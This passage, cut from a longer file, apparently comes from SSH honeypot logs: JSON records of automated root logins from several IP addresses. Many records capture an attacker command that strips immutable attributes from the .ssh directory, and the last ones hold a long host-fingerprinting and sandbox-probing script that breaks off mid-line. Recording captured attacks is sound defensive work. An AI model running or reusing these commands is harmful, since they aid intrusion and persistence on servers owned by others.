  "name": "weathered-blithe-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55604,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:52:58.776446+00:00",
  "ended_at": "2026-08-27T06:52:59.765840+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "f6675739-cc43-4e93-861d-daba627e6c03",
  "name": "sincere-thawing-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:52:42.411588+00:00",
  "ended_at": "2026-08-27T06:52:44.198291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3",
  "name": "graceful-dappled-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 36070,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:50:59.036810+00:00",
  "ended_at": "2026-08-27T06:51:00.435845+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "0a9383f7-36fc-4a77-a4cb-f8d3a2f7b4ad",
  "name": "distant-hearty-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37564,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:42.417356+00:00",
  "ended_at": "2026-08-27T06:50:44.148192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c80a064c-9494-40b3-abd5-4f340e56be99",
  "name": "orderly-rapid-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:44:42.100296+00:00",
  "ended_at": "2026-08-27T06:44:42.758496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2104
 },
 {
  "id": "60fb0338-3a99-4e77-b341-f2883da34e23",
  "name": "airy-shaded-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35242,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:44:34.776617+00:00",
  "ended_at": "2026-08-27T06:44:35.501551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72dafc1e-5c2d-46a1-8017-878ce5120fd5",
  "name": "mellow-eager-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:40:44.085073+00:00",
  "ended_at": "2026-08-27T06:40:44.701749+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "7762066e-4c67-4303-b746-001a10bdf763",
  "name": "crisp-hushed-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43918,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:40:35.030232+00:00",
  "ended_at": "2026-08-27T06:40:36.805056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ac60bea-1c54-4953-bff1-ffb36751b9ad",
  "name": "sterling-quiet-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:53:51.433201+00:00",
  "ended_at": "2026-08-27T05:53:52.777417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e9ac3635-67ea-4f51-886a-09f9bbcbb435",
  "name": "sooty-alpine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37068,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:53:24.109034+00:00",
  "ended_at": "2026-08-27T05:53:25.498264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7767d99-2f3a-4355-b785-faacccfdda2b",
  "name": "quartz-primal-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 55226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:47:51.436453+00:00",
  "ended_at": "2026-08-27T05:47:53.469714+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dd49165f-d9c0-4c17-a60f-1887d32dc508",
  "name": "silent-vigilant-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:47:35.476443+00:00",
  "ended_at": "2026-08-27T05:47:37.453209+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58ff4cae-b44a-4118-8862-2327b3d79ae9",
  "name": "honest-vigilant-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:43:53.133955+00:00",
  "ended_at": "2026-08-27T05:43:54.758512+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b2c94294-0d81-4c16-ba11-7de487c8e885",
  "name": "flinty-steady-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:43:25.777466+00:00",
  "ended_at": "2026-08-27T05:43:27.551577+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3ccc5e2-0539-4200-8222-3abf799f8e95",
  "name": "jolly-daring-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:41:55.054504+00:00",
  "ended_at": "2026-08-27T05:41:57.305487+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0a0e67be-981a-4a48-93b6-90bc7dd95772",
  "name": "eager-frosty-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:41:27.389409+00:00",
  "ended_at": "2026-08-27T05:41:28.730925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a41147b0-202e-43e5-9f3e-205428a8b2b4",
  "name": "lunar-sandy-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:39:55.667521+00:00",
  "ended_at": "2026-08-27T05:39:57.381533+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "ea841f85-2858-423f-8309-e6ba38e9b1c0",
  "name": "bold-umber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:39:29.156447+00:00",
  "ended_at": "2026-08-27T05:39:30.119417+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5051a227-a361-4f9d-87af-aec86904a535",
  "name": "gnarled-glassy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 38680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:33:51.635172+00:00",
  "ended_at": "2026-08-27T05:33:53.597740+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "a1a3dfdb-ff33-40ac-9dfc-3b539e7dd4d4",
  "name": "breezy-vigilant-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:33:36.989308+00:00",
  "ended_at": "2026-08-27T05:33:37.954507+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81381a86-19b8-4448-9172-d584b743fa7b",
  "name": "bronzed-russet-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:29:57.271815+00:00",
  "ended_at": "2026-08-27T05:29:58.450742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "88b12546-ef68-4240-b473-86b54d3ca22c",
  "name": "hushed-graceful-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37192,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:41.602087+00:00",
  "ended_at": "2026-08-27T05:29:43.448754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0a180a8-18a9-40e2-a335-e1a032c0f286",
  "name": "seaward-candid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53644,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:25:48.520057+00:00",
  "ended_at": "2026-08-27T05:25:50.639940+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cd142c98-1ff3-4b01-bf57-3fc0acf77da6",
  "name": "graceful-sooty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 53674,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:25:33.917097+00:00",
  "ended_at": "2026-08-27T05:25:35.200009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5574279-3724-4e92-ba39-eab1e8dc9035",
  "name": "valiant-tawny-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:21:36.906836+00:00",
  "ended_at": "2026-08-27T05:21:38.907844+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7659422e-f6f9-456a-919a-7ba1c22760ec",
  "name": "shifting-cobalt-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:14.341900+00:00",
  "ended_at": "2026-08-27T05:21:15.048277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f157b3ed-5a6b-47d8-a155-d1f9a5950881",
  "name": "knotted-umber-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 51482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:19:33.158493+00:00",
  "ended_at": "2026-08-27T05:19:34.654119+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4e98db0b-4f56-4f24-986d-29ed17b89215",
  "name": "solemn-austere-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 45748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:19:06.585146+00:00",
  "ended_at": "2026-08-27T05:19:08.014588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1b85829-221e-438c-b29b-5130ef5bb391",
  "name": "brave-fabled-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37004,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:17:34.629781+00:00",
  "ended_at": "2026-08-27T05:17:36.277194+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "87329ad8-7e4f-410e-9ea2-1456d75a884d",
  "name": "crystal-upland-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:17:07.814190+00:00",
  "ended_at": "2026-08-27T05:17:09.209022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42c210ed-e913-4c0c-97db-e37a7652d4ca",
  "name": "marine-deft-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 36426,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:15:29.696246+00:00",
  "ended_at": "2026-08-27T05:15:31.302382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0d522f30-4908-413c-ad71-4a2cfca16422",
  "name": "merry-ruddy-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 36448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:11.365487+00:00",
  "ended_at": "2026-08-27T05:15:11.988123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54797db9-35cd-4ca4-9cb6-71d62cdaf86f",
  "name": "airy-tangled-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:11:33.479653+00:00",
  "ended_at": "2026-08-27T05:11:34.974885+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c44ddadf-ce45-4073-bf19-d557ce81aa4d",
  "name": "gloomy-wiry-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:18.185574+00:00",
  "ended_at": "2026-08-27T05:11:20.144787+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2b037a4-f809-48ec-ab8c-f4dae8862aae",
  "name": "primal-earnest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:07:34.182813+00:00",
  "ended_at": "2026-08-27T05:07:35.239789+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "471282ba-4aa3-4800-819f-f352a4e47b9a",
  "name": "loyal-lonesome-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:07:18.879845+00:00",
  "ended_at": "2026-08-27T05:07:19.530003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fcd60b3-f3f2-4c58-acda-3c21977e0e4e",
  "name": "thorny-candid-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 43388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:04:17.454206+00:00",
  "ended_at": "2026-08-27T05:08:18.248515+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "00e8fe24-a3a7-44c9-8839-756190731de3",
  "name": "placid-fleeting-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 59676,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:55:15.326276+00:00",
  "ended_at": "2026-08-27T04:59:15.840433+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "fb38d34b-df5d-47f8-9fc9-085e285849bf",
  "name": "drifting-shaded-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:53:23.980401+00:00",
  "ended_at": "2026-08-27T04:53:24.381520+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e7814b32-eb84-4fd2-aa98-60897ddc816e",
  "name": "zealous-canny-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; 